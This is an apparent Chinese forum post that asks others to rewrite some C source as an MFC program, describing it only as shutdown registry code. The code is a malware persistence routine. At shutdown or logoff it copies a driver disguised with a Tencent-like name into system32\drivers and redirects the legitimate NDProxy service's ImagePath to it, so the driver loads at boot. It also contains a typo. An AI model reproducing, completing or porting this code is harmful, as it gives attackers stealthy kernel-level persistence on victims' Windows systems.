|
以下源码是一个 关于关机时写注册表的程序 请大牛们 把他写成MFC程序 然后发到本帖或本论坛
谢谢···············!!
···············
#include <windows.h>
#include <stdio.h>
/*驱动路径*/
#define MAL_DRIVER_FILE_PATH "C:\\QQ\\GRD_Tercent.sys"
/*目标路径,将驱动复制到系统驱动文件夹下*/
#define SYS_DRIVER_FILE_PATH "C:\\Windows\\system32\\drivers\\GRD_Tercent.sys"
/*在注册表Services键下的一个子键*/
#define SUB_KEY_PATH "SYSTEM\\CurrentControlSet\\Services\\NDProxy"
/*NDProxy中ImagePath的值*/
#define IMAGE_PATH_VALUE "system32\\drivers\\GRD_Tercent.sys"
BOOL g_bExit = FALSE;
BOOL CtrlHandler(DWORD fdwCtrlType )
{
/*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/
if(fdwCtrlType == CTRL_CLOSE_EVENT||
fdwCtrlType == CTRL_LOGOFF_EVENT ||
fdwCtrlType == CTRL_SHUTDOWN_EVENT)
{
/*将驱动文件复制到系统目录下*/
BOOL bRet = CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE);
if(FALSE == bRet)
{
g_bExit = TRUE;
return 1;
}
/*打开注册表键*/
HKEY hKey = NULL;
LONG lRet = ERROR_SUCCESS;
lRet = RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey);
if (ERROR_SUCCESS != lRet)
{
g_bExit = TRUE;
return 1;
}
DWORD dwData = 0;
/*将NDProxy下的ImagePath设置为驱动的路径*/
lRet = RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE));
if (ERROR_SUCCESS != lRet)
{
RegCloseKey(hKey);
g_bExit = TRUE;
return 1;
}
DWORD dwStart = 1;
/*将NDProxy设置为1表示自启动*/
lRet = RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart));
if (ERROR_SUCCESS != lRet)
{
RegCloseKey(hKey);
g_bExit = TRUE;
return 1;
}
RegCloseKey(hKey);
/*结束进程*/
ExitProcess(0);
}
return 1;
}
int main()
{
/*将该进程在系统关闭时的优先级设置为最低*/
if(!SetProcessShutdownParameters(0x00,FALSE))
{
printf("Error Code%d\r\n",GetLastError());
return 0;
}
/*为该进程注册一个控制台处理例程*/
if( SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler,
TRUE) != TRUE)
{
printf("Error Code%d\r\n",GetLastError());
return 0;
}
/*这里什么都不干,等待系统的关闭*/
do
{
Sleep(1000);
}
while(g_bExit != TRUE);
return 0;
}
|
|